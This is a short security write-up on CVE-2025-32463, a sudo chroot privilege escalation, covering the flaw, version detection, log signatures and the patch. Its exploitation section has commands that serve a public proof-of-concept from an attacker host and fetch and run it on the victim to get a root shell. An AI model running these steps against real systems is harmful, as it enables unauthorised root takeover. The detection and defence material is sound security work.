Local privilege escalation in sudo via chroot (CVE-2025-32463)

CVE-2025-32463 is a local root privilege-escalation vulnerability in sudo (versions 1.9.14 through 1.9.17), disclosed in mid-2025. The flaw is in the -R/--chroot option: sudo performs name-service resolution (NSS) inside the user-supplied directory before dropping privileges. That lets an unprivileged user make sudo load an NSS library (/etc/nsswitch.conf + a controlled .so) from a chroot they prepare, executing code as root.

The notable part is that it requires no granted sudo rule: just having the vulnerable sudo binary installed (nearly universal) is enough. So as soon as sudo -V shows a version in the affected range, it's an immediate candidate.

Detection. The version shows directly:

sudo -V
# Sudo version 1.9.17   → in the vulnerable range (1.9.14–1.9.17)

Exploitation. Public PoCs automate building the fake chroot, the nsswitch.conf and the malicious library. The typical flow is cloning the exploit, serving it to the victim and running it:

# attacker
git clone https://github.com/<repo>/CVE-2025-32463 && cd CVE-2025-32463
python3 -m http.server 80
# victim
wget http://<attacker>/cve-2025-32463.sh -O /tmp/x.sh
chmod +x /tmp/x.sh && /tmp/x.sh
id   # uid=0(root)

The script builds the chroot environment, invokes sudo -R pointing at it and yields a root shell.

Relation to other paths. On boxes that also expose an "intended" escalation (a specific sudo rule, a custom SUID), this CVE is usually the unintended path: it works simply because the sudo version is vulnerable, regardless of configuration.

How to detect it. The signature is unmistakable in /var/log/auth.log and auditd: an invocation of sudo with -R/--chroot by a normal user, an option almost no legitimate flow uses. On the host, a user preparing their own chroot with an nsswitch.conf and a custom .so library (Sysmon for Linux / auditd over file creation) right before that sudo -R, and sudo loading an NSS library from a user-writable path, complete the picture. A root shell appearing after a sudo --chroot with no rule granted is the proof.

Defence. Update sudo to 1.9.17p1 or later. As a temporary mitigation, avoid versions in the affected range on multi-user systems; the vector disappears once the binary is patched.